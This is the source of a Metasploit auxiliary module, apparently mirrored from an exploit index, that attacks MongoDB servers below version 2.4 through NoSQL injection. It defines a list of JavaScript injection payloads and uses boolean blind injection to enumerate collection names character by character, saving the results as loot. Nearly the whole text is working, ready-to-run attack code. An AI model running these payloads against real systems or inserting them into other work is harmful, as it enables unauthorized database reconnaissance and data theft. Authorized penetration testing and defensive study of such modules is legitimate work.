Exploit for MongoDB NoSQL Collection Enumeration Via Injection

## https://sploitus.com/exploit?id=PACKETSTORM:180589
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "MongoDB NoSQL Collection Enumeration Via Injection",  
'Description' => %q{  
This module can exploit NoSQL injections on MongoDB versions less than 2.4  
and enumerate the collections available in the data via boolean injections.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
['Brandon Perry <bperry.volatile[at]gmail.com>'],  
'References' =>  
[  
['URL', 'https://nosql.mypopescu.com/post/14453905385/attacking-nosql-and-nodejs-server-side#_=_']  
],  
'Platform' => ['linux', 'win'],  
'Privileged' => false,  
'DisclosureDate' => '2014-06-07'))  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, 'Full vulnerable URI with [NoSQLi] where the injection point is', '/index.php?age=50[NoSQLi]'])  
])  
end  
  
def syntaxes  
[["\"'||this||'", "'||[inject]||'"],  
["\"';return+true;var+foo='", "';return+[inject];var+foo='"],  
['\'"||this||"','"||[inject]||"'],  
['\'";return+true;var+foo="', '";return+[inject];var+foo="'],  
["||this","||[inject]"]]  
end  
  
def run  
uri = datastore['TARGETURI']  
  
res = send_request_cgi({  
'uri' => uri.sub('[NoSQLi]', '')  
})  
  
if !res  
fail_with(Failure::UnexpectedReply, "Server did not respond in an expected way.")  
end  
  
pay = ""  
fals = res.body  
tru = nil  
  
syntaxes.each do |payload|  
print_status("Testing " + payload[0])  
res = send_request_cgi({  
'uri' => uri.sub('[NoSQLi]', payload[0])  
})  
  
if res and res.body != fals and res.code == 200  
print_status("Looks like " + payload[0] + " works")  
tru = res.body  
  
res = send_request_cgi({  
'uri' => uri.sub('[NoSQLi]', payload[0].sub('true', 'false').sub('this', '!this'))  
})  
  
if res and res.body != tru and res.code == 200  
vprint_status("I think I confirmed with a negative test.")  
fals = res.body  
pay = payload[1]  
break  
end  
end  
end  
  
if pay == ''  
fail_with(Failure::Unknown, "Couldn't detect a payload, maybe it isn't injectable.")  
end  
  
length = 0  
vprint_status("Getting length of the number of collections.")  
(0..100).each do |len|  
str = "db.getCollectionNames().length==#{len}"  
res = send_request_cgi({  
'uri' => uri.sub('[NoSQLi]', pay.sub('[inject]', str))  
})  
  
if res and res.body == tru  
length = len  
print_status("#{len} collections are available")  
break  
end  
end  
  
vprint_status("Getting collection names")  
  
names = []  
(0...length).each do |i|  
vprint_status("Getting length of name for collection " + i.to_s)  
  
name_len = 0  
(0..100).each do |k|  
str = "db.getCollectionNames()[#{i}].length==#{k}"  
res = send_request_cgi({  
'uri' => uri.sub('[NoSQLi]', pay.sub('[inject]', str))  
})  
  
if res and res.body == tru  
name_len = k  
print_status("Length of collection #{i}'s name is #{k}")  
break  
end  
end  
  
vprint_status("Getting collection #{i}'s name")  
  
name = ''  
(0...name_len).each do |k|  
[*('a'..'z'),*('0'..'9'),*('A'..'Z'),'.'].each do |c|  
str = "db.getCollectionNames()[#{i}][#{k}]=='#{c}'"  
res = send_request_cgi({  
'uri' => uri.sub('[NoSQLi]', pay.sub('[inject]', str))  
})  
  
if res and res.body == tru  
name << c  
break  
end  
end  
end  
  
print_status("Collections #{i}'s name is " + name)  
names << name  
end  
  
p = store_loot("mongo_injection.#{datastore['RHOST']}_collections",  
"text/plain",  
nil,  
names.to_json,  
"mongo_injection_#{datastore['RHOST']}.txt",  
"#{datastore["RHOST"]} MongoDB Javascript Injection Collection Enumeration")  
  
print_good("Your collections are located at: " + p)  
end  
end